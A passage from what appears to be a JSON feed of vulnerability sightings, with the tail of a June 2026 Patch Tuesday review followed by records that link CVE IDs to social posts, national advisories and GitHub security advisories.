addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "a74714e0-1245-4fb7-aef6-e58145ed413d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48305", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnv4wilsd32v", "content": "CVE-2026-48305 - Substance3D - Sampler | Out-of-bounds Write (CWE-787)\nCVE ID : CVE-2026-48305\n \n Published : 9. Juni 2026 20:17 | 20\u00a0Minuten ago\n \n Description : Substance3D - Sampler versions 6.0.0 and earlier are affected by an out-of-bounds write vulnerability that could r...", "creation_timestamp": "2026-06-09T21:23:12.425654Z"}, {"uuid": "f0896777-5894-4611-9a85-bcaf8b2d479c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48567", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0183", "content": "", "creation_timestamp": "2026-06-09T11:15:55.000000Z"}, {"uuid": "fcffbf76-fc5f-481a-ac14-d99748a0da44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48579", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0185", "content": "", "creation_timestamp": "2026-06-09T11:35:29.000000Z"}, {"uuid": "b946ec6a-b52a-40d2-873d-4699cbae20db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48291", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnv73bc46r2y", "content": "\ud83d\udfe0 CVE-2026-48291 - High (7.8)\n\nFormat Plugins versions 1.1.2 and earlier are affected by a Heap-based Buffer Overflow vulnerabil...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48291/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-09T22:00:50.598590Z"}, {"uuid": "fad64e28-f9f7-4653-9412-af3c29d8652d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48292", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnv73jjyya27", "content": "\ud83d\udfe0 CVE-2026-48292 - High (7.8)\n\nFormat Plugins versions 1.1.2 and earlier are affected by a Heap-based Buffer Overflow vulnerabil...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48292/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-09T22:00:58.770352Z"}, {"uuid": "8f0c7295-6b25-4b73-99d4-ae28cf3f0144", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48303", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnv73qzggu2v", "content": "\ud83d\udd34 CVE-2026-48303 - Critical (10)\n\nAdobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect A...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48303/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-09T22:01:06.563479Z"}, {"uuid": "af938106-d885-496d-bdd2-4943e9df0d29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48303", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnv7picz7l2o", "content": "CVE-2026-48303 - Adobe Campaign Classic (ACC) | Incorrect Authorization (CWE-863)\nCVE ID : CVE-2026-48303\n \n Published : June 9, 2026, 8:59 p.m. | 16\u00a0minutes ago\n \n Description : Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Au...", "creation_timestamp": "2026-06-09T22:12:07.345486Z"}, {"uuid": "18ffab1c-6a13-493f-8150-a7a60915f193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48265", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mnvhhvjwpa2d", "content": "CVE-2026-48265 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/06/09/203024.html", "creation_timestamp": "2026-06-10T00:31:02.738331Z"}, {"uuid": "668d7a82-84e6-45f0-9ff0-f4f4d9a65078", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48268", "type": "seen", "source": "https://bsky.app/profile/experiencedigest.bsky.social/post/3mnvhhwryue2y", "content": "CVE-2026-48268 (MEDIUM) CVSS 5.4: https://experiencedigest.org/2026/06/09/cve-medium-cvss.html", "creation_timestamp": "2026-06-10T00:31:03.872269Z"}, {"uuid": "c8c079a0-f4dc-4ac4-baee-1ed3fd52038c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48030", "type": "published-proof-of-concept", "source": "https://github.com/pheditor/pheditor/security/advisories/GHSA-jvc5-6g7q-c843", "content": "", "creation_timestamp": "2026-05-20T13:11:25.000000Z"}, {"uuid": "a2b60cce-38c0-4b35-8910-3fd0dd9e8181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48303", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mnvuu2du442k", "content": "Adobe Campaign Classic <=7.4.3 faces a CRITICAL flaw (CVSS 10): CVE-2026-48303 enables arbitrary code execution with zero user interaction. Restrict access & monitor for threats. Patch status unknown. https://radar.offseq.com/threat/cve-2026-48303-incorrect-authorization-cwe-863-in--6dc93c1f #Off...", "creation_timestamp": "2026-06-10T04:30:30.584406Z"}, {"uuid": "4b5bad1d-30b1-4953-8493-1b5fca2f9ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48303", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116723929985501567", "content": "\ud83d\udd25 CVE-2026-48303: CRITICAL flaw in Adobe Campaign Classic <=7.4.3 build 9394 (CVSS 10). Exploitable for arbitrary code execution \u2014 no user action needed. Restrict access & monitor. Patch pending. https://radar.offseq.com/threat/cve-2026-48303-incorrect-authorization-cwe-863-in--6dc93c1f #OffSeq #Adobe #Vuln #Security", "creation_timestamp": "2026-06-10T04:30:34.906920Z"}, {"uuid": "5ad51466-5aaf-4d12-8e37-adc53d98c88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48913", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/apache-http-server-multiple-vulnerabilities_20260610", "content": "", "creation_timestamp": "2026-06-09T18:00:00.000000Z"}, {"uuid": "a0754228-d47a-489a-aa9b-744bb92cafde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48031", "type": "published-proof-of-concept", "source": "https://github.com/dhax/go-base/security/advisories/GHSA-mqq6-462x-jxmm", "content": "", "creation_timestamp": "2026-05-20T15:11:45.000000Z"}, {"uuid": "1fa35605-5919-435c-afbb-d9926f6f9765", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48051", "type": "published-proof-of-concept", "source": "https://github.com/papra-hq/papra/security/advisories/GHSA-5g86-85rp-f9hx", "content": "", "creation_timestamp": "2026-05-20T15:07:08.000000Z"}, {"uuid": "3766dbb6-a877-4cd3-86bb-71182f6cf179", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48556", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnxhbhq7sj25", "content": "CVE-2026-48556 - Adobe ColdFusion Information Disclosure in Administrator Function\nCVE ID : CVE-2026-48556\n \n Published : June 10, 2026, 6:17 p.m. | 23\u00a0minutes ago\n \n Description : Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.\n \n S...", "creation_timestamp": "2026-06-10T19:32:46.404293Z"}, {"uuid": "e87a1f02-a199-4509-a9a6-47473e382b03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48061", "type": "published-proof-of-concept", "source": "https://github.com/litestar-org/litestar/security/advisories/GHSA-3qmc-cj7q-62hv", "content": "", "creation_timestamp": "2026-05-20T16:46:22.000000Z"}, {"uuid": "20aa1938-f569-4c72-8118-b112e2fa0a42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48060", "type": "published-proof-of-concept", "source": "https://github.com/litestar-org/litestar/security/advisories/GHSA-542p-wvx7-72m4", "content": "", "creation_timestamp": "2026-05-20T16:46:18.000000Z"}, {"uuid": "9dff6cc7-614c-4b8f-80b9-99adc86bc23e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48110", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mnxsv4ht3726", "content": "\ud83d\udfe0 CVE-2026-48110 - High (7.5)\n\nRussh is a Rust SSH client & server library. From version 0.34.0 to before version 0.61.0, severa...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48110/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-10T23:00:37.717088Z"}, {"uuid": "d2da6f97-2c47-4593-9667-bb4ced2cba46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48110", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnxsyqgwq72m", "content": "CVE-2026-48110 - Russh: SSH message fields were decoded through allocation-first parsers before field-specific bounds\nCVE ID : CVE-2026-48110\n \n Published : June 10, 2026, 8:26 p.m. | 51\u00a0minutes ago\n \n Description : Russh is a Rust SSH client & server library. From version...", "creation_timestamp": "2026-06-10T23:02:38.569978Z"}, {"uuid": "73a1e484-1013-4582-9ab2-470abfe88045", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48108", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnxtc4l7o72r", "content": "CVE-2026-48108 - Russh: SSH identification parsing accepted non-canonical client banners and did not bound pre-banner input\nCVE ID : CVE-2026-48108\n \n Published : June 10, 2026, 8:24 p.m. | 53\u00a0minutes ago\n \n Description : Russh is a Rust SSH client & server library. From v...", "creation_timestamp": "2026-06-10T23:07:53.182754Z"}, {"uuid": "84bbc8a9-c8de-4254-81e0-f18fa2714d8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48107", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnxtnhsjxw2v", "content": "CVE-2026-48107 - Russh: Unchecked keyboard-interactive prompt count in client auth path\nCVE ID : CVE-2026-48107\n \n Published : June 10, 2026, 8:23 p.m. | 54\u00a0minutes ago\n \n Description : Russh is a Rust SSH client & server library. From version 0.37.0 to before version 0.61...", "creation_timestamp": "2026-06-10T23:14:14.115620Z"}, {"uuid": "df3a026b-3fb8-428c-bfd1-3e144aab113c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48734", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mny3upjzfi2r", "content": "CVE-2026-48734 - ImageMagick: Stack Overflow in MVG decoder\nCVE ID : CVE-2026-48734\n \n Published : June 10, 2026, 11:16 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to version...", "creation_timestamp": "2026-06-11T01:41:27.182790Z"}, {"uuid": "9493f505-749a-44fb-8645-5a46c5991a14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48994", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mny4igelan2i", "content": "CVE-2026-48994 - ImageMagick: Heap Buffer Over-Write in MAT decoder on 32-bit systems\nCVE ID : CVE-2026-48994\n \n Published : June 10, 2026, 11:16 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : ImageMagick is free and open-source software used for editing and manipulating digita...", "creation_timestamp": "2026-06-11T01:52:28.471854Z"}, {"uuid": "d953c9a3-bfde-4b5d-bb73-97a15172ea1d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48733", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mny53gqirf2r", "content": "CVE-2026-48733 - ImageMagick: Infinite Loop in subimage-search with crafted image\nCVE ID : CVE-2026-48733\n \n Published : June 10, 2026, 11:16 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : ImageMagick is free and open-source software used for editing and manipulating digital im...", "creation_timestamp": "2026-06-11T02:03:06.384363Z"}, {"uuid": "a35dfda7-4853-4327-8cd3-2ec5ddd3f8a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48724", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mny5psjwgv2x", "content": "CVE-2026-48724 - ImageMagick: Heap Buffer Underwrite in Floyd-Steinberg depth dithering\nCVE ID : CVE-2026-48724\n \n Published : June 10, 2026, 11:16 p.m. | 2\u00a0hours, 1\u00a0minute ago\n \n Description : ImageMagick is free and open-source software used for editing and manipulating digi...", "creation_timestamp": "2026-06-11T02:14:29.882146Z"}, {"uuid": "8178ccbf-b407-4ae3-85a6-bca8eb1d2661", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48170", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3msnhfuth6w2z", "content": "CVE-2026-48170 - Critical prototype pollution in scim-patch <0.9.1. Attacker-controlled SCIM PATCH can pollute Object.prototype process-wide. CVSS 9.1. Unpatched - update immediately. #CVE #NodeJS #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48170/", "creation_timestamp": "2026-08-09T11:14:35.429350Z"}, {"uuid": "5d7fbeb3-3c0c-4306-8c39-d9e55ef94a75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48998", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mnzgxuuio72w", "content": "CVE-2026-48998 - guzzlehttp/psr7 has Host Confusion via Authority Reinterpretation\nCVE ID : CVE-2026-48998\n \n Published : June 11, 2026, 12:34 p.m. | 45\u00a0minutes ago\n \n Description : guzzlehttp/psr7 is a PSR-7 HTTP message library implementation in PHP. Versions prior to 2.10.2...", "creation_timestamp": "2026-06-11T14:32:44.066404Z"}, {"uuid": "7e5c3c4d-00dc-41c4-ac58-f7eaae8aef4d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48039", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-9gw6-46qc-99vr", "content": "", "creation_timestamp": "2026-06-11T13:28:29.000000Z"}, {"uuid": "04cecb22-87e0-4f82-80e7-1650463aa286", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48020", "type": "published-proof-of-concept", "source": "https://github.com/advisories/GHSA-xf64-8mw2-4gr2", "content": "", "creation_timestamp": "2026-06-11T13:26:57.000000Z"}, {"uuid": "dcbe6d59-6f0b-4986-828e-5d2d3969b60c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48053", "type": "published-proof-of-concept", "source": "https://github.com/learningequality/kolibri/security/advisories/GHSA-4mj9-pf4r-cqrc", "content": "", "creation_timestamp": "2026-05-27T17:45:47.000000Z"}, {"uuid": "eef1f2e7-6369-4900-b267-7fa663893819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48110", "type": "published-proof-of-concept", "source": "https://github.com/Eugeny/russh/security/advisories/GHSA-4r3c-5hpg-58qr", "content": "", "creation_timestamp": "2026-05-20T22:50:48.000000Z"}, {"uuid": "26631dcb-ca40-4cc9-a3c8-5fee2f7fc996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48108", "type": "published-proof-of-concept", "source": "https://github.com/Eugeny/russh/security/advisories/GHSA-76r6-x97p-67vr", "content": "", "creation_timestamp": "2026-05-20T22:49:00.000000Z"}, {"uuid": "abbd805b-ebd1-423b-afc2-0882b4e4786b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48107", "type": "published-proof-of-concept", "source": "https://github.com/Eugeny/russh/security/advisories/GHSA-g9g7-5cgw-6v28", "content": "", "creation_timestamp": "2026-05-20T22:48:53.000000Z"}, {"uuid": "5bda4f31-974d-4e84-b75f-80c6556604a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo2xh6tipn24", "content": "\ud83d\udfe0 CVE-2026-48612 - High (8)\n\nImproper state verification in the OAuth implementation could allow an attacker to manipulate the...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48612/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-12T05:00:18.538046Z"}, {"uuid": "7a52740a-98bb-4653-834b-90d8105a51f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo2xhfwjef24", "content": "\ud83d\udd34 CVE-2026-48611 - Critical (9.8)\n\nImproper authentication checks in the OAuth implementation allow account hijacking even when OAut...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48611/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-12T05:00:25.771993Z"}, {"uuid": "3b555532-28e3-4f57-8a1b-66af8593f46c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48612", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo2yjlei6u2g", "content": "CVE-2026-48612 - Okta OAuth Account Linking Vulnerability\nCVE ID : CVE-2026-48612\n \n Published : June 12, 2026, 4:17 a.m. | 49\u00a0minutes ago\n \n Description : Improper state verification in the OAuth implementation could allow an attacker to manipulate the authentication flow and...", "creation_timestamp": "2026-06-12T05:19:31.512339Z"}, {"uuid": "35ca5189-c5fd-459b-9810-306d1bc3f230", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48611", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo2zi7lj7g2b", "content": "CVE-2026-48611 - Google OAuth Account Hijacking Vulnerability\nCVE ID : CVE-2026-48611\n \n Published : June 12, 2026, 4:17 a.m. | 49\u00a0minutes ago\n \n Description : Improper authentication checks in the OAuth implementation allow account hijacking even when OAuth is not configured ...", "creation_timestamp": "2026-06-12T05:36:39.457402Z"}, {"uuid": "e9cbe112-fa19-4f52-8908-3fc0dd436c53", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48610", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo3224idol25", "content": "CVE-2026-48610 - UniFi OS Improper Access Control Vulnerability\nCVE ID : CVE-2026-48610\n \n Published : June 12, 2026, 4:17 a.m. | 49\u00a0minutes ago\n \n Description : Under certain network configurations, a malicious actor with access to network could exploit an Improper Access Con...", "creation_timestamp": "2026-06-12T05:46:40.140339Z"}, {"uuid": "e36a768c-2b93-450a-8aeb-99387d0bf6b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48613", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo3a7dmx5p2r", "content": "CVE-2026-48613 - phpBB SQL Injection via Profile Field Migration\nCVE ID : CVE-2026-48613\n \n Published : June 12, 2026, 4:17 a.m. | 3\u00a0hours, 3\u00a0minutes ago\n \n Description : SQL injection vulnerability in phpBB profile field migration due to improper handling of user-supplied pro...", "creation_timestamp": "2026-06-12T07:36:57.890732Z"}, {"uuid": "a24937df-49b4-455c-b954-fe23f30c80d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48610", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mo3bkccbxg2a", "content": "\ud83d\udfe0 CVE-2026-48610 - High (8.1)\n\nUnder certain network configurations, a malicious actor with access to network could exploit an I...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48610/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-12T08:01:00.507832Z"}, {"uuid": "75abc62b-2fa3-4203-a23a-911486f8ec79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48610", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3mo3ozhj7pn25", "content": "CVE-2026-48610 - Improper Access Control in UniFi OS. Network-based exploitation allows unauthorized device changes. CVSS 8.1. No patch available. Apply strict access controls now. #CVE #Ubiquiti #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48610/", "creation_timestamp": "2026-06-12T12:02:06.623450Z"}, {"uuid": "f8133923-04ea-420f-9e20-02d93079944d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48151", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-qhv3-wjg8-6fx6", "content": "", "creation_timestamp": "2026-05-21T08:47:15.000000Z"}, {"uuid": "af3d444f-9da9-4d9a-8750-c6a90edc3542", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48485", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mo3um2z5le2f", "content": "CVE-2026-48485 - Quest Bot: Stored warn reasons can still trigger bot-powered mass mentions through `/warns`.\nCVE ID : CVE-2026-48485\n \n Published : 2026\u5e746\u670812\u65e5 11:53 | 1\u00a0\u5c0f\u65f6\uff0c29\u00a0\u5206\u949f ago\n \n Description : Quest Bot is an opensource Discord Bot. Prior to version 1.1.6, the latest re...", "creation_timestamp": "2026-06-12T13:41:59.725019Z"}, {"uuid": "73dd8307-9a96-4abf-aceb-09a18dee7c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48303", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mo44pn3mcv27", "content": "\ud83d\udccc CVE-2026-48303 - Adobe Campaign Classic (ACC) versions 7.4.3 build 9394 and earlier are affected by an Incorrect Authorization vulnerability that could result in arbit... https://www.cyberhub.blog/cves/CVE-2026-48303", "creation_timestamp": "2026-06-12T16:07:09.422994Z"}, {"uuid": "a55d6a8b-2b43-4f3e-9549-975d89b8583f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48146", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-g6qx-g4pr-92v7", "content": "", "creation_timestamp": "2026-05-21T08:42:03.000000Z"}, {"uuid": "b037e50b-16f2-4e87-a6e7-d44e754bcfe9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48128", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-6964-pp88-6wp9", "content": "", "creation_timestamp": "2026-05-21T08:28:48.000000Z"}, {"uuid": "32f78a8a-72cf-4fe9-b3e0-d013aabc55ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48113", "type": "published-proof-of-concept", "source": "https://github.com/jpillora/chisel/security/advisories/GHSA-24fp-5v3p-rvpw", "content": "", "creation_timestamp": "2026-05-20T23:29:51.000000Z"}, {"uuid": "56d7f47f-6ef5-4273-99b2-89d7e5baf317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48148", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-cv96-5348-p5p8", "content": "", "creation_timestamp": "2026-05-21T08:44:47.000000Z"}, {"uuid": "300c894c-a315-4eee-84df-887c09a79814", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 